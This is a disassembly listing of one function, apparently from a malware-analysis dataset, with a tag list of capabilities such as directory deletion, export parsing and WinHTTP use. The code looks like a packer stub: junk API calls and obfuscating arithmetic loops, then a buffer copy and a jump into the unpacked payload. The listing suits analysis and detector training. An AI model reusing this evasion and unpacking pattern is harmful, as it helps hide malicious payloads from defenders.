Function at 0x405990
Capabilities:
Delete directory
Get common file path
Get disk size
Initialize winhttp library
Resolve function by parsing pe exports
Suspend thread

Disassembly:
push 0xffffffffffffffff
mov eax, dword fs:[0]
push 0x42998b
push eax
mov eax, 0x2920
mov dword fs:[0], esp
call fcn.00412b30
cmp dword [0x43d664], 0xac
push ebx
push ebp
push esi
push edi
jne 0x405acb
xor esi, esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
push esi
push esi
call dword [sym.imp.USER32.dll_SetParent]
push esi
push esi
push 0x404948
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuA]
push esi
push esi
call dword [sym.imp.USER32.dll_CreateAcceleratorTableW]
lea eax, [esp + 0xf0]
push eax
push esi
call dword [sym.imp.USER32.dll_GetMenuInfo]
push esi
push esi
lea ecx, [esp + 0x18]
push ecx
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_ToAsciiEx]
push esi
lea edx, [esp + 0xd30]
push edx
push 0x404998
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
push esi
lea eax, [esp + 0x530]
push eax
push 0x404a38
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_DeleteTimerQueueTimer]
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
lea ecx, [esp + 0x98]
call fcn.00407760
lea ecx, [esp + 0x98]
call fcn.0040783e
push esi
call fcn.004078f1
add esp, 4
push esi
push esi
call fcn.00407999
push esi
call fcn.004078c2
add esp, 0xc
push esi
push esi
call fcn.004078d8
push esi
push esi
call fcn.004078fc
add esp, 0x10
lea ecx, [esp + 0xa4]
push ecx
call fcn.00406df0
lea ecx, [esp + 0xa4]
mov dword [esp + 0xa4], 0x404c70
mov dword [esp + 0xe0], esi
mov dword [esp + 0xe4], esi
mov dword [esp + 0x2938], 0xffffffff
call fcn.00406640
add dword [0x43d664], 0x11b1b
call fcn.004058b0
call fcn.004058d0
xor esi, esi
cmp dword [0x43d664], esi
jbe 0x405b51
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ebx, dword [sym.imp.GDI32.dll_GetColorAdjustment]
mov ebp, dword [sym.imp.KERNEL32.dll_HeapCreate]
jmp 0x405b00
mov edx, dword [0x6c4c3c]
mov al, byte [edx + esi + 0x11b1b]
mov ecx, dword [0x43d5d4]
mov byte [ecx + esi], al
cmp dword [0x43d664], 0xa8
jne 0x405b48
push 0
push 0
push 0
call edi
push 0
push 0
call ebx
push 0
lea edx, [esp + 0x530]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleW]
push 0
push 0
push 0
call ebp
inc esi
cmp esi, dword [0x43d664]
jb 0x405b00
mov esi, dword [sym.imp.KERNEL32.dll_ReadConsoleW]
mov edi, dword [sym.imp.KERNEL32.dll_SetComputerNameA]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebp, dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
xor eax, eax
mov dword [esp + 0x10], eax
mov ecx, dword [0x43d664]
add ecx, eax
cmp ecx, 0xe
jne 0x405bf5
push 0
lea edx, [esp + 0x28]
push edx
push 0
push 0
push 0
call esi
push 0x404a6c
call edi
push 0
call ebx
push 0
push 0
call ebp
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
push 0
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push 0x404a70
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push 0
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
lea ecx, [esp + 0x20]
push ecx
push 0
lea edx, [esp + 0xd34]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoA]
mov eax, dword [esp + 0x10]
inc eax
cmp eax, 0x4fe229
mov dword [esp + 0x10], eax
jl 0x405b6f
mov edi, dword [sym.imp.GDI32.dll_GetCharWidthA]
mov ebx, dword [sym.imp.GDI32.dll_GetCharABCWidthsFloatW]
mov esi, 0x4cc
push 0
push 0
push 0
push 0
call edi
push 0
push 0
push 0
push 0
call ebx
sub esi, 1
jne 0x405c16
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleW]
cmp esi, 0x3b9f963
jge 0x406009
mov dword [esp + 0x30], 0x68cfa93d
mov dword [esp + 0x90], 0x7e90fce7
mov dword [esp + 0x2c], 0x1d9a7c6d
mov dword [esp + 0x7c], 0x441381a
mov dword [esp + 0x34], 0x6da83752
mov dword [esp + 0x6c], 0xb940fac
mov dword [esp + 0x58], 0x281b80e7
mov dword [esp + 0x94], 0x5e3362e
mov dword [esp + 0x74], 0x3ac68673
mov dword [esp + 0x14], 0x1196451a
mov dword [esp + 0x28], 0x21f9fe85
mov dword [esp + 0x18], 0x7c6264b6
mov dword [esp + 0x84], 0x4950b2ae
mov dword [esp + 0x64], 0xff5899
mov dword [esp + 0x88], 0x569d1cf2
mov dword [esp + 0x5c], 0x199b1bcf
mov dword [esp + 0x24], 0x1d24402b
mov dword [esp + 0x54], 0x22264de0
mov dword [esp + 0x1c], 0x3ddf4fa4
mov dword [esp + 0x10], 0x5958adcb
mov dword [esp + 0x70], 0xc090240
mov dword [esp + 0x78], 0x3e0ecb2a
mov dword [esp + 0x50], 0x4c075175
mov dword [esp + 0x44], 0x14a61c88
mov dword [esp + 0x48], 0x61a6691c
mov dword [esp + 0x20], 0x6df795ab
mov dword [esp + 0x8c], 0x13f0744e
mov dword [esp + 0x80], 0x405c45da
mov dword [esp + 0x40], 0x7afbd543
mov dword [esp + 0x38], 0x7116d1a8
mov dword [esp + 0x4c], 0x495d1bac
mov dword [esp + 0x60], 0xbfc2655
mov dword [esp + 0x68], 0x1aae7e29
mov dword [esp + 0x3c], 0x22253a00
sub dword [esp + 0x30], 0x6852bd7d
sub dword [esp + 0x7c], 0x54eb27fd
add dword [esp + 0x30], 0x60e74945
sub dword [esp + 0x2c], 0x16ceab79
add dword [esp + 0x7c], 0x1faa4e06
sub dword [esp + 0x58], 0x465709b3
add dword [esp + 0x34], 0x17220289
sub dword [esp + 0x58], 0x48e04ff4
add dword [esp + 0x6c], 0x5c2f0923
mov eax, 0x33ae181
mul dword [esp + 0x7c]
mov eax, dword [esp + 0x7c]
mov eax, 0x4f0d2a2a
mul dword [esp + 0x30]
mov eax, dword [esp + 0x30]
add dword [esp + 0x2c], 0x569831db
sub dword [esp + 0x30], 0x667741b1
sub dword [esp + 0x14], 0x84e8e84
sub dword [esp + 0x58], 0x5c701fa0
add dword [esp + 0x84], 0x6a64b9f4
mov eax, 0x6404f391
mul dword [esp + 0x2c]
mov eax, dword [esp + 0x2c]
mov eax, 0x1843e8a2
mul dword [esp + 0x94]
mov eax, dword [esp + 0x94]
mov eax, 0x1058d91d
mul dword [esp + 0x6c]
mov eax, dword [esp + 0x6c]
add dword [esp + 0x90], 0x5ebbebcb
mov eax, 0x4dfd5c74
mul dword [esp + 0x90]
mov eax, dword [esp + 0x90]
add dword [esp + 0x74], 0x698f89ff
add dword [esp + 0x74], 0x4fbc68fa
add dword [esp + 0x14], 0x6c2a46be
mov eax, 0x7fb426b4
mul dword [esp + 0x58]
mov eax, dword [esp + 0x58]
mov eax, 0x712460fe
mul dword [esp + 0x58]
mov eax, dword [esp + 0x58]
add dword [esp + 0x64], 0x55a3442
mov eax, 0x14d10f45
mul dword [esp + 0x64]
mov eax, dword [esp + 0x64]
mov eax, 0x737b07f0
mul dword [esp + 0x14]
mov eax, dword [esp + 0x14]
mov eax, 0x7c618c04
mul dword [esp + 0x2c]
mov eax, dword [esp + 0x2c]
sub dword [esp + 0x7c], 0x7a664b7b
add dword [esp + 0x58], 0x740eb7e3
sub dword [esp + 0x24], 0x4156fe04
add dword [esp + 0x58], 0x1b3116f6
add dword [esp + 0x2c], 0x6c75a77a
mov eax, 0x395ad56b
mul dword [esp + 0x2c]
mov eax, dword [esp + 0x2c]
mov eax, 0x698d9233
mul dword [esp + 0x34]
mov eax, dword [esp + 0x34]
add dword [esp + 0x90], 0x18ae28bb
sub dword [esp + 0x2c], 0x75572066
add dword [esp + 0x7c], 0x2415c900
add dword [esp + 0x58], 0x71fae2fb
add dword [esp + 0x94], 0x1652a9ab
sub dword [esp + 0x5c], 0x72eec008
add dword [esp + 0x90], 0x70538415
sub dword [esp + 0x24], 0xd1374b5
add dword [esp + 0x2c], 0x5cba9175
add dword [esp + 0x50], 0x3bd45067
mov eax, 0xb507a49
mul dword [esp + 0x34]
mov eax, dword [esp + 0x34]
add dword [esp + 0x2c], 0x61e345ff
add dword [esp + 0x78], 0x46cf21ae
sub dword [esp + 0x30], 0x43f1ebf9
add dword [esp + 0x1c], 0x724f5e27
mov eax, 0x2338ac04
mul dword [esp + 0x50]
mov eax, dword [esp + 0x50]
add dword [esp + 0x38], 0xd1c1252
mov eax, 0x46bda8fc
mul dword [esp + 0x58]
mov eax, dword [esp + 0x58]
mov eax, 0xd1e944a
mul dword [esp + 0x24]
mov eax, dword [esp + 0x24]
mov eax, 0x3af7253c
mul dword [esp + 0x48]
mov eax, dword [esp + 0x48]
mov eax, 0x20607127
mul dword [esp + 0x20]
mov eax, dword [esp + 0x20]
add dword [esp + 0x18], 0x7ccadf16
mov eax, 0x37d30187
mul dword [esp + 0x34]
mov eax, dword [esp + 0x34]
add dword [esp + 0x54], 0x9f7d911
add dword [esp + 0x58], 0x1a687fae
add dword [esp + 0x24], 0x20b2a2b6
add dword [esp + 0x6c], 0x25aa1e5
add dword [esp + 0x40], 0x71ac2e8
mov eax, 0x46788f0e
mul dword [esp + 0x84]
mov eax, dword [esp + 0x84]
cmp esi, 0xbf08bd
jg 0x40601e
inc esi
cmp esi, 0x19be898c
jl 0x405c35
call fcn.00405760
xor edx, edx
cmp edx, 0x26
jne 0x40602f
call fcn.00405890
inc edx
cmp edx, 0x409495
jl 0x406025
mov esi, dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov edi, dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetConsoleCursorInfo]
mov ebp, dword [sym.imp.KERNEL32.dll_IsBadHugeWritePtr]
mov dword [esp + 0x10], 0x7b
jmp 0x406060
cmp dword [0x43d664], 0x86
jne 0x4060b2
push 0x404aa0
call esi
push 0
push 0
push 0
call edi
push 0
push 0
call ebx
push 0
push 0
call ebp
push 0
push 0
push 0
push 0x404aec
push 0x404b20
push 0x404b98
call dword [sym.imp.KERNEL32.dll_ReplaceFileW]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
sub dword [esp + 0x10], 1
jne 0x406060
mov esi, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, dword [sym.imp.KERNEL32.dll_ReadConsoleA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov ebp, dword [sym.imp.KERNEL32.dll_CreateActCtxW]
mov dword [esp + 0x10], 0x3078f
lea esp, [esp]
cmp dword [0x43d664], 0x83
jne 0x40617c
push 0
lea eax, [esp + 0x130]
push eax
call esi
push 0
lea ecx, [esp + 0x1c]
push ecx
push 0
lea edx, [esp + 0x1d38]
push edx
push 0
call edi
push 0
lea eax, [esp + 0x1530]
push eax
call ebx
lea ecx, [esp + 0x10c]
push ecx
call ebp
push 0
push 0
call dword [sym.imp.KERNEL32.dll_Beep]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessAffinityMask]
push 0
lea edx, [esp + 0x2130]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetLongPathNameW]
lea eax, [esp + 0x14]
push eax
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentActCtx]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetWaitableTimer]
sub dword [esp + 0x10], 1
jne 0x4060e0
call fcn.00405430
mov eax, dword [0x43d5d4]
mov dword [0x43d658], eax
call eax
mov ecx, dword [esp + 0x2930]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0x292c
ret